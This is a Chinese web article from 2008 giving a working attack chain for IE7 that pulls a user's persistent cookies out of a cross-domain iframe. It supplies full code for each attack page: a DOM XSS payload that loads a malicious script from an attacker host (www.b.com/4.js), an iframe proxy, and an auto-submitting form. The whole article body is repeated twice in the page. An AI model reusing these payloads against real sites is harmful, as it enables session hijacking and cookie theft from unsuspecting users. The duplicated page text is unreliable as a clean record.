教你如何突破IE安全限制获取iframe子框架内的本地cookie（图）
互联网 发布时间：2008-10-08 21:29:03 作者：佚名 
我要评论
我要评论我的测试环境是： IE 7 (7.0.5730.13)
以下所有的内容全部经过我在IE7中测试，是真实有效的结果。
Iframe的限制:
因为iframe这个玩意比较特殊，所以浏览器对它一般都有一些限制。
首先父窗口不能控制子窗口的js，只能读取一些对象；子窗口也不能使用父窗
我的测试环境是： IE 7 (7.0.5730.13)
以下所有的内容全部经过我在IE7中测试，是真实有效的结果。
Iframe的限制:
因为iframe这个玩意比较特殊，所以浏览器对它一般都有一些限制。
首先父窗口不能控制子窗口的js，只能读取一些对象；子窗口也不能使用父窗口的js，也只能读部分对象，更多的比如document啥的都限制了。
关系如下：
- iframe's should not be able to view content/cookies from another domain
- iframe children CAN view certain properties and execute certain behaviors
- parent.window.blur
- parent.window.opener
- parent.window.length
- others
- iframe children CAN redirect the parent frame to a new location (great for phishing)
- parent.location.href
- parent.window.location
对于有些利用子窗口执行父窗口js的方法是限制的
比如，在子窗口里可以这么使用：
parent.location.href="http://www.sohu.com";
上面的语句将把父窗口重新定义到sohu的网站去.
但是如果想执行js，或者是读取document对象，则会被拒绝访问
parent.location.href=new String("javascript:alert(document.cookie)");
parent.location.href=new String("javascript:alert(1)");
像这两条都会被拒绝。
对于iframe，Firefox3 居然是不限制本地cookie发送的！也就是说，在Firefox环境里，使用iframe包含一个远程页面，是会将保存在本地的cookie发送出去的，这使得CSRF会非常之方便。
但是IE不同，对于IE环境中，img和iframe标签都只能发送session cookie，无法发送本地cookie，所以很多时候CSRF会失败，这也会给XSS带来很大的麻烦，比如会使得XSRF更困难一些。
鉴于Firefox一点挑战都没有，所以今天主要研究的对象是IE。
在IE环境下，程序员们一般都是使用P3P协议来获取跨域cookie的，但是P3P也要求我们改写HTTP头，更麻烦，在这里，我纯粹使用一些脚本的技巧来突破这些限制。
突破IFRAME限制的思路：（以下都是在IE环境中）
由于页面里的iframe都是发送的session cookie，所以子框架页面里本身是只有一个session cookie的，我们无法通过在子框架里执行js的方法来获取本地cookie，无中生有的事情是干不出来的。
了解这一原理后，思路就很明确了：想办法新起一个不受限制的窗口，从而获取本地cookie。
具体来说，有这么两个办法：
1、 使用window.open打开一个新窗口
2、 回到父窗口，让其打开一个新窗口
在子框架中，使用window.open()确实可以发送本地cookie，但是问题是浏览器一般会限制页面弹窗口，会被拦截，所以这个方法比较囧~~，不是个好办法。
而第二个办法，回到父窗口去打开新窗口，就涉及到一个突破iframe执行脚本的问题，而这个问题在我的前一篇Cross Iframe Trick 里已经解决了，所以我们的方法就呼之欲出了。
利用Cross Iframe Trick突破iframe限制获取子框架cookie：
Cross Iframe的最大贡献就在于他可以绕过前面提到的iframe的限制，在父域或者子框架里获取对象，执行脚本。
当一个页面很难突破时，如果他包含了一个存在弱点的iframe页面，则可能会带来灾难性的结果。
我相信真正精通脚本攻击的人是能够看到它的用处和优势的。
环境如下：(绑定127.0.0.1 www.baidu.com)
http://www.a.com/1.html 是我们要攻击的页面，它包含了一个存在弱点的iframe，用户只会去浏览这个页面
http://www.baidu.com/3.html 是我们已经控制的页面，他作为一个iframe被1.html所包含。在这里是iframe proxy
http://www.a.com/4.html 是www.a.com上的一个存在XSS漏洞的页面，一般情况下用户不会去访问它！
http://www.b.com/4.js 这是攻击者自己的服务器上的一个恶意脚本，将被XSS攻击远程载入4.html中。
由于用户只会浏览www.a.com/1.html，所以我们要通过脚本攻击，从www.a.com/1.html里获取用户在www.baidu.com/3.html的本地cookie。
www.a.com/1.html的代码如下：
---------------------------------- 我是聪明的分割线 -------------------------------------------
<script>
// 函数tt1 ,在最后将被4.html注入参数
function tt1(fvck){
alert("tt1() and args= " fvck);
document.write("<input id=\"bbb\" value=\'test1" fvck "\' >");
}
</script>
<body>
<iframe id="tt2_3" src="http://www.baidu.com/3.html" width="300" height="300" ></iframe>
</body>
---------------------------------- 我是聪明的分割线 -------------------------------------------
它包含了一个iframe页面
www.baidu.com/3.html 的代码为：
---------------------------------- 我是聪明的分割线 -------------------------------------------
<html>
<body>
<script>
//parent.location.href=new String("javascript:alert(document.cookie)");
//parent.location.href="http://www.sohu.com";
alert("3.html in iframe and cookie=" document.cookie);
// iframe proxy: 创建一个动态iframe，并利用4.html里的XSS漏洞
var tt1_4 = document.createElement("iframe");
tt1_4.src = "http://www.A.com/4.html#' ><script src=\"http://www.b.com/4.js\"><\/script><\'";
document.body.appendChild(tt1_4);
</script>
</body>
</html>
---------------------------------- 我是聪明的分割线 -------------------------------------------
3.html是我们的iframe proxy，利用它来完成在www.a.com里执行脚本的工作。
www.a.com/4.html 的代码为：
---------------------------------- 我是聪明的分割线 -------------------------------------------
<html>
<script>
// 一个基于DOM的XSS漏洞
document.write("<input id=\"aaa\" value=\'test4" window.location.href "\' >");
//window.open("http://www.baidu.com/4.html"); 会带上cookie
</script>
<body>
This is 4.html!
<!-- 把这里的注释去掉可以用来测试，这样发送的还是session cookie!
<form id="form1" method="post" action="http://www.baidu.com/2.html" >
<img src="/Article/UploadFiles/200809/20080902083122466.jpg" onload=submitpost4();>
</form>
<script>function submitpost4(){ document.forms[0].submit(); }</script>
-->
</body>
</html>
---------------------------------- 我是聪明的分割线 -------------------------------------------
www.b.com/4.js 的代码为：
---------------------------------- 我是聪明的分割线 -------------------------------------------
alert("4.js is loaded!");
top.tt1('\'><form id=\"form1\" method=\"post\" action=\"http://www.baidu.com/2.html\" ><img src=\"/Article/UploadFiles/200809/20080902083122466.jpg\" onload=submitpost4();></form><script>function submitpost4(){ document.forms[0].submit(); }</script><\!-- \'');
---------------------------------- 我是聪明的分割线 -------------------------------------------
4.js才是我们真正利用XSS漏洞和Cross Iframe Trick来新起一个窗口，从而获取本地cookie的方法。
www.baidu.com/2.html的代码很简单，他的作用是查看当前的cookie：
---------------------------------- 我是聪明的分割线 -------------------------------------------
<script>
alert("2.html cookie=" document.cookie);
</script>
---------------------------------- 我是聪明的分割线 -------------------------------------------
在这里攻击流程是这样的：
www.a.com/1.html ----iframe----> www.baidu.com/3.html ----动态iframe---> www.a.com/4.html 的XSS漏洞 ------> 在www.a.com域中远程加载www.b.com/4.js
以下所有的内容全部经过我在IE7中测试，是真实有效的结果。
Iframe的限制:
因为iframe这个玩意比较特殊，所以浏览器对它一般都有一些限制。
首先父窗口不能控制子窗口的js，只能读取一些对象；子窗口也不能使用父窗口的js，也只能读部分对象，更多的比如document啥的都限制了。
关系如下：
- iframe's should not be able to view content/cookies from another domain
- iframe children CAN view certain properties and execute certain behaviors
- parent.window.blur
- parent.window.opener
- parent.window.length
- others
- iframe children CAN redirect the parent frame to a new location (great for phishing)
- parent.location.href
- parent.window.location
对于有些利用子窗口执行父窗口js的方法是限制的
比如，在子窗口里可以这么使用：
parent.location.href="http://www.sohu.com";
上面的语句将把父窗口重新定义到sohu的网站去.
但是如果想执行js，或者是读取document对象，则会被拒绝访问
parent.location.href=new String("javascript:alert(document.cookie)");
parent.location.href=new String("javascript:alert(1)");
像这两条都会被拒绝。
对于iframe，Firefox3 居然是不限制本地cookie发送的！也就是说，在Firefox环境里，使用iframe包含一个远程页面，是会将保存在本地的cookie发送出去的，这使得CSRF会非常之方便。
但是IE不同，对于IE环境中，img和iframe标签都只能发送session cookie，无法发送本地cookie，所以很多时候CSRF会失败，这也会给XSS带来很大的麻烦，比如会使得XSRF更困难一些。
鉴于Firefox一点挑战都没有，所以今天主要研究的对象是IE。
在IE环境下，程序员们一般都是使用P3P协议来获取跨域cookie的，但是P3P也要求我们改写HTTP头，更麻烦，在这里，我纯粹使用一些脚本的技巧来突破这些限制。
突破IFRAME限制的思路：（以下都是在IE环境中）
由于页面里的iframe都是发送的session cookie，所以子框架页面里本身是只有一个session cookie的，我们无法通过在子框架里执行js的方法来获取本地cookie，无中生有的事情是干不出来的。
了解这一原理后，思路就很明确了：想办法新起一个不受限制的窗口，从而获取本地cookie。
具体来说，有这么两个办法：
1、 使用window.open打开一个新窗口
2、 回到父窗口，让其打开一个新窗口
在子框架中，使用window.open()确实可以发送本地cookie，但是问题是浏览器一般会限制页面弹窗口，会被拦截，所以这个方法比较囧~~，不是个好办法。
而第二个办法，回到父窗口去打开新窗口，就涉及到一个突破iframe执行脚本的问题，而这个问题在我的前一篇Cross Iframe Trick 里已经解决了，所以我们的方法就呼之欲出了。
利用Cross Iframe Trick突破iframe限制获取子框架cookie：
Cross Iframe的最大贡献就在于他可以绕过前面提到的iframe的限制，在父域或者子框架里获取对象，执行脚本。
当一个页面很难突破时，如果他包含了一个存在弱点的iframe页面，则可能会带来灾难性的结果。
我相信真正精通脚本攻击的人是能够看到它的用处和优势的。
环境如下：(绑定127.0.0.1 www.baidu.com)
http://www.a.com/1.html 是我们要攻击的页面，它包含了一个存在弱点的iframe，用户只会去浏览这个页面
http://www.baidu.com/3.html 是我们已经控制的页面，他作为一个iframe被1.html所包含。在这里是iframe proxy
http://www.a.com/4.html 是www.a.com上的一个存在XSS漏洞的页面，一般情况下用户不会去访问它！
http://www.b.com/4.js 这是攻击者自己的服务器上的一个恶意脚本，将被XSS攻击远程载入4.html中。
由于用户只会浏览www.a.com/1.html，所以我们要通过脚本攻击，从www.a.com/1.html里获取用户在www.baidu.com/3.html的本地cookie。
www.a.com/1.html的代码如下：
---------------------------------- 我是聪明的分割线 -------------------------------------------
<script>
// 函数tt1 ,在最后将被4.html注入参数
function tt1(fvck){
alert("tt1() and args= " fvck);
document.write("<input id=\"bbb\" value=\'test1" fvck "\' >");
}
</script>
<body>
<iframe id="tt2_3" src="http://www.baidu.com/3.html" width="300" height="300" ></iframe>
</body>
---------------------------------- 我是聪明的分割线 -------------------------------------------
它包含了一个iframe页面
www.baidu.com/3.html 的代码为：
---------------------------------- 我是聪明的分割线 -------------------------------------------
<html>
<body>
<script>
//parent.location.href=new String("javascript:alert(document.cookie)");
//parent.location.href="http://www.sohu.com";
alert("3.html in iframe and cookie=" document.cookie);
// iframe proxy: 创建一个动态iframe，并利用4.html里的XSS漏洞
var tt1_4 = document.createElement("iframe");
tt1_4.src = "http://www.A.com/4.html#' ><script src=\"http://www.b.com/4.js\"><\/script><\'";
document.body.appendChild(tt1_4);
</script>
</body>
</html>
---------------------------------- 我是聪明的分割线 -------------------------------------------
3.html是我们的iframe proxy，利用它来完成在www.a.com里执行脚本的工作。
www.a.com/4.html 的代码为：
---------------------------------- 我是聪明的分割线 -------------------------------------------
<html>
<script>
// 一个基于DOM的XSS漏洞
document.write("<input id=\"aaa\" value=\'test4" window.location.href "\' >");
//window.open("http://www.baidu.com/4.html"); 会带上cookie
</script>
<body>
This is 4.html!
<!-- 把这里的注释去掉可以用来测试，这样发送的还是session cookie!
<form id="form1" method="post" action="http://www.baidu.com/2.html" >
<img src="/Article/UploadFiles/200809/20080902083122466.jpg" onload=submitpost4();>
</form>
<script>function submitpost4(){ document.forms[0].submit(); }</script>
-->
</body>
</html>
---------------------------------- 我是聪明的分割线 -------------------------------------------
www.b.com/4.js 的代码为：
---------------------------------- 我是聪明的分割线 -------------------------------------------
alert("4.js is loaded!");
top.tt1('\'><form id=\"form1\" method=\"post\" action=\"http://www.baidu.com/2.html\" ><img src=\"/Article/UploadFiles/200809/20080902083122466.jpg\" onload=submitpost4();></form><script>function submitpost4(){ document.forms[0].submit(); }</script><\!-- \'');
---------------------------------- 我是聪明的分割线 -------------------------------------------
4.js才是我们真正利用XSS漏洞和Cross Iframe Trick来新起一个窗口，从而获取本地cookie的方法。
www.baidu.com/2.html的代码很简单，他的作用是查看当前的cookie：
---------------------------------- 我是聪明的分割线 -------------------------------------------
<script>
alert("2.html cookie=" document.cookie);
</script>
---------------------------------- 我是聪明的分割线 -------------------------------------------
在这里攻击流程是这样的：
www.a.com/1.html ----iframe----> www.baidu.com/3.html ----动态iframe---> www.a.com/4.html 的XSS漏洞 ------> 在www.a.com域中远程加载www.b.com/4.js
相关文章
- 安全狗是一款大家熟悉的服务器安全加固产品，据称已经拥有50W的用户量。最近经过一些研究，发现安全狗的一些防护功能，例如SQL注入、文件上传、防webshell等都可以被绕过2014-07-17
- 对于比较复杂的验证码，比如DZ论坛最新的验证码，处理起来相对麻烦一些，但是原理还是和普通的识别一样的，无非多了个背景处理的方案，看如下对DZ论坛的验证码的识别的思路2009-11-06
- 如今电子商务社会，每个人的手机号上都绑定很多东西。比如网银、支付宝、银行卡、等很多关系到个人财产的东西。骗子也利用了这点来开始作案。下面来分享几个案例给大家认识2014-04-25
- 假造源地址进犯中，黑客机器向受害主机发送许多假造源地址的TCP SYN报文，占用安全网关的NAT会话资源，最终将安全网关的NAT会话表占满，招致局域网内一切人无法上彀。2012-10-25
- HSRP：热备份路由器协议（HSRP：Hot Standby Router Protocol），是cisco平台一种特有的技术，是cisco的私有协议。2012-05-14
- 云火墙与云防火墙的区别是什么？下面为大家介绍。2012-10-19
- 在这里，我们将看到七种最不安全的网络管理员，并且总结了我观察这个行业多年的经验，描述了这些不安全因素的特点2014-07-29
- 首先说一下无线加密，这种保护方式是目前最为常见的一种手段，用户可以通过无线路由器的WEB界，来对无线网络进行加密设置2012-09-18
- 这篇文章主要介绍了Mac DNS被劫持的解决办法,需要的朋友可以参考下2015-10-08
- 随着互联网时代的飞速发展，智能手机和平板电脑很快的融入到企业办公当中，当然一些恶意软件也会在这其中泛滥起来，该如何防御呢2016-06-30
最新评论